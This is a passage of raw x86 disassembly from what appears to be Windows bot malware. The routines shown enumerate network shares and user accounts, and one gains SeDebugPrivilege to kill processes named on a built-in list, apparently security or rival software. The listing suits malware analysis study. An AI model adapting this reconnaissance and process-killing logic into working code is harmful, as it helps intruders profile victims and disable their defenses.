0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2B endp ; =============== S U B R O U T I N E ======================================= sub_418C6C proc near ; CODE XREF: sub_418A99+20p ; sub_419E7A+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push 0 push eax push esi call dword_4CB520 pop esi retn sub_418C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418C8F(int,char *Str,int,int) sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p Dest = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2B xor esi, esi mov [ebp+var_C], eax push esi ; int mov [ebp+arg_C], esi push [ebp+arg_8] ; int mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 18h loc_418CC8: ; CODE XREF: sub_418C8F+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB598 mov ebx, eax cmp ebx, esi jz short loc_418D2B cmp ebx, 0EAh jz short loc_418D2B push ebx push ebx call sub_419460 pop ecx push eax lea eax, [ebp+Dest] push offset asc_439788 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 24h jmp short loc_418D98 ; --------------------------------------------------------------------------- loc_418D2B: ; CODE XREF: sub_418C8F+5Dj ; sub_418C8F+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8F mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D39: ; CODE XREF: sub_418C8F+FCj push dword ptr [esi+10h] call dword_4CB53C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D50 mov eax, offset aNo ; "No" loc_418D50: ; CODE XREF: sub_418C8F+BAj push eax lea eax, [ebp+Dest] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D39 xor esi, esi loc_418D8F: ; CODE XREF: sub_418C8F+A2j push [ebp+var_4] call dword_4CB6E4 loc_418D98: ; CODE XREF: sub_418C8F+9Aj cmp ebx, 0EAh jz loc_418CC8 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418DB0(int,int,int,int,char *Str,int) sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Str = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E55 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF2 dec eax jz short loc_418DE7 dec eax jnz short loc_418E0D push [ebp+arg_14] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push ebx ; int push edi ; int call sub_418EF7 add esp, 14h jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DE7: ; CODE XREF: sub_418DB0+1Dj push ebx push edi call sub_418ED6 pop ecx pop ecx jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418DB0+1Aj cmp [ebp+arg_8], edi jz short loc_418E06 push [ebp+arg_8] push ebx push edi call sub_418E7C add esp, 0Ch jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418E06: ; CODE XREF: sub_418DB0+45j push 57h pop eax loc_418E09: ; CODE XREF: sub_418DB0+35j ; sub_418DB0+40j ... cmp eax, edi jnz short loc_418E2D loc_418E0D: ; CODE XREF: sub_418DB0+20j lea eax, [esi+esi*2] push ebx mov esi, offset byte_4DB4D0 push off_439094[eax*4] push offset asc_439840 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418DB0+5Bj push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset byte_4DB4D0 push off_439090[eax*4] push offset asc_439810 ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418DB0+Dj mov eax, [ebp+arg_0] mov esi, offset byte_4DB4D0 lea eax, [eax+eax*2] push off_439090[eax*4] push offset asc_4397E8 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_418E75: ; CODE XREF: sub_418DB0+7Bj ; sub_418DB0+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov edi, eax call sub_418C2B push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2B add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB52C pop edi leave retn sub_418E7C endp ; =============== S U B R O U T I N E ======================================= sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push eax push esi call dword_4CB51C pop esi retn sub_418ED6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418EF7(int,int,int,char *Str,int) sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CB6AC test eax, eax mov [ebp+arg_0], eax jnz loc_41929F mov eax, [ebp+var_4] test eax, eax jz loc_4192DA push ebx push edi push dword ptr [eax] lea eax, [ebp+Dest] push offset aAccountS ; "Account: %S" push eax ; Dest call _sprintf mov esi, [ebp+arg_10] mov edi, [ebp+Str] mov ebx, [ebp+arg_8] push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+Dest] push offset aFullNameS ; "Full Name: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+Dest] push offset aUserCommentS ; "User Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+Dest] push offset aCommentS ; "Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419016 dec eax jz short loc_41900F dec eax jz short loc_419008 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419008: ; CODE XREF: sub_418EF7+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_41900F: ; CODE XREF: sub_418EF7+105j mov eax, offset aUser_3 ; "User" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419016: ; CODE XREF: sub_418EF7+102j mov eax, offset aGuest ; "Guest" loc_41901B: ; CODE XREF: sub_418EF7+10Fj ; sub_418EF7+116j ... push eax lea eax, [ebp+Dest] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+Dest] push offset aAuthFlagsD ; "Auth Flags: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+Dest] push offset aHomeDirectoryS ; "Home Directory: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+Dest] push offset aParametersS ; "Parameters: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+Dest] push offset aPasswordAgeD ; "Password Age: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+Dest] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+Dest] push offset aNumberOfLogins ; "Number of Logins: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+Dest] push offset aLastLogonD ; "Last Logon: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+Dest] push offset aLastLogoffD ; "Last Logoff: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+Dest] push offset aLogonServerS ; "Logon Server: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+Dest] push offset aWorkstationsS ; "Workstations: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+Dest] push offset aCountryCodeD ; "Country Code: %d" push eax ; Dest call _sprintf push 1 ; int push esi ; int lea eax, [ebp+Dest] push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+Dest] push offset aUserSLanguageD ; "User's Language: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+Dest] push offset aMax_StorageD ; "Max. Storage: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+Dest] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_409A73 add esp, 20h pop edi pop ebx jmp short loc_4192CB ; --------------------------------------------------------------------------- loc_41929F: ; CODE XREF: sub_418EF7+35j push eax lea eax, [ebp+Dest] push offset asc_439860 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_10] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_8] ; int call sub_409A73 add esp, 20h loc_4192CB: ; CODE XREF: sub_418EF7+3A6j cmp [ebp+var_4], 0 jz short loc_4192DA push [ebp+var_4] call dword_4CB6E4 loc_4192DA: ; CODE XREF: sub_418EF7+40j ; sub_418EF7+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4192E0(int,char *Str,int,int) sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp Dest = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2B push esi ; int mov [ebp+var_14], eax push [ebp+arg_8] ; int mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 18h loc_41931F: ; CODE XREF: sub_4192E0+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB5B4 cmp eax, esi mov [ebp+var_C], eax jz short loc_419380 cmp eax, 0EAh jz short loc_419380 push eax push eax call sub_419460 pop ecx push eax lea eax, [ebp+Dest] push offset asc_439A50 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 24h jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_419380: ; CODE XREF: sub_4192E0+62j ; sub_4192E0+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940E xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FB loc_419392: ; CODE XREF: sub_4192E0+EDj cmp edi, esi jz short loc_4193D1 push dword ptr [edi] lea eax, [ebp+Dest] push offset aS_4 ; " %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419392 jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_4193D1: ; CODE XREF: sub_4192E0+B4j lea eax, [ebp+Dest] push offset asc_439A1C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 1Ch loc_4193FB: ; CODE XREF: sub_4192E0+9Ej ; sub_4192E0+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940E push edi call dword_4CB6E4 xor edi, edi mov [ebp+var_4], edi loc_41940E: ; CODE XREF: sub_4192E0+A5j ; sub_4192E0+120j cmp [ebp+var_C], 0EAh jz loc_41931F cmp edi, esi jz short loc_419426 push edi call dword_4CB6E4 loc_419426: ; CODE XREF: sub_4192E0+13Dj push [ebp+var_8] lea eax, [ebp+Dest] push offset aTotalUsersFoun ; "Total users found: %d." push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192E0 endp ; =============== S U B R O U T I N E ======================================= sub_419460 proc near ; CODE XREF: sub_418A99+41p ; sub_418C8F+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419512 jz loc_41950B cmp eax, 7Bh ja short loc_4194D7 jz short loc_4194CD cmp eax, 5 jz short loc_4194C3 cmp eax, 8 jz short loc_4194B9 cmp eax, 32h jz short loc_4194AF cmp eax, 35h jz short loc_4194A5 cmp eax, 57h jnz loc_419561 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194A5: ; CODE XREF: sub_419460+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194AF: ; CODE XREF: sub_419460+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194B9: ; CODE XREF: sub_419460+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194C3: ; CODE XREF: sub_419460+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194CD: ; CODE XREF: sub_419460+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194D7: ; CODE XREF: sub_419460+1Aj sub eax, 7Ch jz short loc_419504 sub eax, 7C8h jz short loc_4194FD dec eax jz short loc_4194F3 dec eax jnz short loc_419561 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194F3: ; CODE XREF: sub_419460+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194FD: ; CODE XREF: sub_419460+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419504: ; CODE XREF: sub_419460+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41950B: ; CODE XREF: sub_419460+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419512: ; CODE XREF: sub_419460+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954B jz short loc_419544 sub eax, 8ADh jz short loc_419576 dec eax dec eax jz short loc_41953D dec eax jz short loc_419536 dec eax dec eax jnz short loc_419561 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419536: ; CODE XREF: sub_419460+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41953D: ; CODE XREF: sub_419460+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419544: ; CODE XREF: sub_419460+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41954B: ; CODE XREF: sub_419460+B9j sub eax, 8CAh jz short loc_41957D sub eax, 17h jz short loc_419576 sub eax, 25h jz short loc_41956F sub eax, 29h jz short loc_419568 loc_419561: ; CODE XREF: sub_419460+35j ; sub_419460+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419568: ; CODE XREF: sub_419460+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41956F: ; CODE XREF: sub_419460+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419576: ; CODE XREF: sub_419460+C2j ; sub_419460+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41957D: ; CODE XREF: sub_419460+F0j push offset aNetworkConnect ; "Network connection not found." loc_419582: ; CODE XREF: sub_419460+40j ; sub_419460+4Aj ... push offset byte_4DB270 ; Dest call _sprintf pop ecx mov eax, offset byte_4DB270 pop ecx retn sub_419460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419594(char *Source) sub_419594 proc near ; CODE XREF: sub_401ACD+4782p Dest = word ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h Source = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h ; MaxCount push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs add esp, 0Ch lea eax, [ebp+Source] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+Source], esi call ds:dword_4270C0 ; GetComputerNameA lea eax, [ebp+var_108] push esi ; MaxCount push eax ; Source lea eax, [ebp+var_318] push eax ; Dest call _mbstowcs lea eax, [ebp+Dest] push eax ; Str call _wcslen add esp, 10h shl eax, 1 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB664 test eax, eax jnz short loc_419624 mov esi, offset byte_4DB06C push offset asc_439D84 ; "-" push esi ; Dest call _sprintf pop ecx pop ecx jmp short loc_41964D ; --------------------------------------------------------------------------- loc_419624: ; CODE XREF: sub_419594+7Aj lea ecx, [ebp+Dest] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_419460 pop ecx mov esi, offset byte_4DB06C push eax push offset asc_439D58 ; "-" push esi ; Dest call _sprintf add esp, 14h loc_41964D: ; CODE XREF: sub_419594+8Ej mov eax, esi pop esi leave retn sub_419594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419652 proc near ; CODE XREF: sub_416F1B+45p ; sub_416F1B+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4270F8 ; GetCurrentProcess push eax call dword_4CB638 ; OpenProcessToken test eax, eax jnz short loc_419671 leave retn ; --------------------------------------------------------------------------- loc_419671: ; CODE XREF: sub_419652+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB610 ; LookupPrivilegeValueA test eax, eax jz short loc_4196AF cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419698 or [ebp+var_8], 2 jmp short loc_41969C ; --------------------------------------------------------------------------- loc_419698: ; CODE XREF: sub_419652+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969C: ; CODE XREF: sub_419652+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB6C0 ; AdjustTokenPrivileges mov esi, eax loc_4196AF: ; CODE XREF: sub_419652+32j push [ebp+var_4] call ds:dword_427068 ; CloseHandle mov eax, esi pop esi leave retn sub_419652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4196BD(int,char *Str,int,char *Str2,int,int) sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p ; sub_4198EC+74p ... Dest = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h Str1 = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB674, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BC cmp dword_4CB658, ebx jz loc_4198BC cmp dword_4CB568, ebx jz loc_4198BC push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push ebx push 0Fh call dword_4CB674 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AF lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB658 ; Process32First mov esi, ds:dword_427068 test eax, eax jz loc_4198AA lea eax, [ebp+var_130] push eax push edi call dword_4CB568 ; Process32Next test eax, eax jz loc_4198AA mov edi, ds:dword_427084 mov ebx, 1F0FFFh loc_419781: ; CODE XREF: sub_4196BD+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E8 mov [ebp+var_4], offset off_439DB0 loc_41978F: ; CODE XREF: sub_4196BD+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+Str1] push eax call ds:dword_427184 ; lstrcmpi test eax, eax jz short loc_4197B7 add [ebp+var_4], 4 cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe" jb short loc_41978F jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197B7: ; CODE XREF: sub_4196BD+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_419890 push 0 push eax call ds:dword_4270F0 ; TerminateProcess test eax, eax jnz loc_419890 loc_4197DE: ; CODE XREF: sub_4196BD+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197E8: ; CODE XREF: sub_4196BD+C9j cmp [ebp+Str2], eax jnz loc_41987B cmp [ebp+Str], eax jz loc_419890 push [ebp+var_128] push 8 call dword_4CB674 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983B lea ecx, [ebp+var_354] push ecx push eax call dword_4CB514 ; Module32First push [ebp+var_128] test eax, eax jz short loc_419841 lea eax, [ebp+var_234] jmp short loc_419847 ; --------------------------------------------------------------------------- loc_41983B: ; CODE XREF: sub_4196BD+15Cj push [ebp+var_128] loc_419841: ; CODE XREF: sub_4196BD+174j lea eax, [ebp+Str1] loc_419847: ; CODE XREF: sub_4196BD+17Cj push eax lea eax, [ebp+Dest] push offset aSD_0 ; " %s (%d)" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push 1 ; int push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h jmp loc_4197DE ; --------------------------------------------------------------------------- loc_41987B: ; CODE XREF: sub_4196BD+12Ej push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4198C3 loc_419890: ; CODE XREF: sub_4196BD+F5j ; sub_4196BD+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB568 ; Process32Next test eax, eax jnz loc_419781 xor ebx, ebx loc_4198AA: ; CODE XREF: sub_4196BD+9Dj ; sub_4196BD+B3j push [ebp+var_8] call esi ; CloseHandle loc_4198AF: ; CODE XREF: sub_4196BD+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx loc_4198BC: ; CODE XREF: sub_4196BD+3Aj ; sub_4196BD+46j ... xor eax, eax loc_4198BE: ; CODE XREF: sub_4196BD+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C3: ; CODE XREF: sub_4196BD+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_4270F0 ; TerminateProcess test eax, eax jnz short loc_4198E7 push edi call esi ; CloseHandle jmp short loc_4198BC ; --------------------------------------------------------------------------- loc_4198E7: ; CODE XREF: sub_4196BD+223j push 1 pop eax jmp short loc_4198BE sub_4196BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EC proc near ; DATA XREF: 